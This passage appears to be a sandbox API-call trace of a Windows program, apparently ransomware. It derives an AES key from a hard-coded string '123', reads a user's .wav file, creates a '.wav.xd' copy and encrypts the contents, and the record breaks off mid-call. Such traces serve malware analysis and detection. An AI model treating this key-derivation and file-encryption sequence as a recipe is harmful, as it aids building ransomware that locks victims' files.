[0063.448] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0063.448] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.449] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.449] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.449] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0063.449] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.449] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.449] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0063.449] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0063.449] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0063.449] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0063.449] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0063.449] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0063.449] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0063.449] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0063.449] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0063.449] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0063.449] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.449] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.449] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0063.449] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0063.449] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0063.449] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0063.449] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0063.450] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0063.450] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x16215b8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptCreateHash", lpUsedDefaultChar=0x0) returned 16 [0063.450] GetProcAddress (hModule=0x74c60000, lpProcName="CryptCreateHash") returned 0x74c7f930 [0063.450] CryptCreateHash (in: hProv=0x17ab000, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x130e600 | out: phHash=0x130e600) returned 1 [0063.450] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.450] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.450] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.450] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.450] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0063.450] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x1629720, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0063.450] CharLowerBuffW (in: lpsz="byte[3]", cchLength=0x7 | out: lpsz="byte[3]") returned 0x7 [0063.450] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.450] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0063.450] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x16295d0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0063.450] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.450] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0063.451] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0063.451] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0063.451] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0063.451] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x1621768, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptHashData", lpUsedDefaultChar=0x0) returned 14 [0063.451] GetProcAddress (hModule=0x74c60000, lpProcName="CryptHashData") returned 0x74c7f950 [0063.451] CryptHashData (hHash=0x164c2b0, pbData=0x16296a0, dwDataLen=0x3, dwFlags=0x1) returned 1 [0063.451] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.451] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.451] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.451] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0063.451] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0063.451] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0063.451] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0063.451] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0063.451] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0063.451] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x1621738, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDeriveKey", lpUsedDefaultChar=0x0) returned 15 [0063.452] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDeriveKey") returned 0x74c95b70 [0063.452] CryptDeriveKey (in: hProv=0x17ab000, Algid=0x6610, hBaseData=0x164c2b0, dwFlags=0x1, phKey=0x130e600 | out: phKey=0x130e600*=0x164c8f0) returned 1 [0063.452] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.452] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.452] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.452] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.452] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.452] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0063.452] PeekMessageW (in: lpMsg=0x130e73c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e73c) returned 0 [0063.452] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0063.452] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0063.452] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x164dfb0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyHash", lpUsedDefaultChar=0x0) returned 17 [0063.452] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyHash") returned 0x74c7fbf0 [0063.452] CryptDestroyHash (hHash=0x164c2b0) returned 1 [0063.452] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.452] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.452] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.453] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.453] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.453] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\HLxtGe9ks2i\\1PexXC.wav" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\hlxtge9ks2i\\1pexxc.wav"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2ac [0063.453] SetFilePointerEx (in: hFile=0x2ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.453] SetFilePointerEx (in: hFile=0x2ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed38 | out: lpNewFilePointer=0x0) returned 1 [0063.453] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.453] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.453] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.453] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\HLxtGe9ks2i\\" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\hlxtge9ks2i")) returned 0x10 [0063.454] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\HLxtGe9ks2i\\1PexXC.wav.xd" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\hlxtge9ks2i\\1pexxc.wav.xd"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3bc [0063.454] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.455] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.455] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.455] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.457] SetFilePointerEx (in: hFile=0x2ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed88 | out: lpNewFilePointer=0x0) returned 1 [0063.457] ReadFile (in: hFile=0x2ac, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0xa7f6, lpOverlapped=0x0) returned 1 [0063.458] ReadFile (in: hFile=0x2ac, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x0, lpOverlapped=0x0) returned 1 [0063.466] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.466] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.466] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.466] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0063.466] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.466] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.466] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0063.466] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0063.466] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0063.467] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0063.467] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0063.467] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0063.467] PeekMessageW (in: lpMsg=0x130e0cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e0cc) returned 0 [0063.467] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0063.467] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0063.467] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x164dfb0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptGetKeyParam", lpUsedDefaultChar=0x0) returned 17 [0063.467] GetProcAddress (hModule=0x74c60000, lpProcName="CryptGetKeyParam") returned 0x74c95c90 [0063.467] CryptGetKeyParam (in: hKey=0x164c8f0, dwParam=0x7, pbData=0x16296a0, pdwDataLen=0x130e0e8, dwFlags=0x0 | out: pbData=0x16296a0*=0x6610, pdwDataLen=0x130e0e8*=0x4) returned 1 [0063.467] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0063.467] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0063.467] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.467] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.467] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.467] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.467] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.467] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.468] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0063.468] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0063.468] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0063.468] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0063.468] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0063.474] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0063.474] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0063.475] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0063.475] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0063.475] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0063.475] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.475] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.475] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.475] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.475] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0063.475] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0063.475] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0063.475] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0063.475] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x16217e0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0063.476] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0063.476] CryptEncrypt (in: hKey=0x164c8f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x130e618*=0xa7f6, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x130e618*=0xa800) returned 1 [0063.476] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.476] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.476] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.476] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.476] CharLowerBuffW (in: lpsz="byte[43009]", cchLength=0xb | out: lpsz="byte[43009]") returned 0xb [0063.476] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.477] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.477] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0063.477] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0063.477] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0063.477] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0063.477] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x1621bd0, cbMultiByte=13, 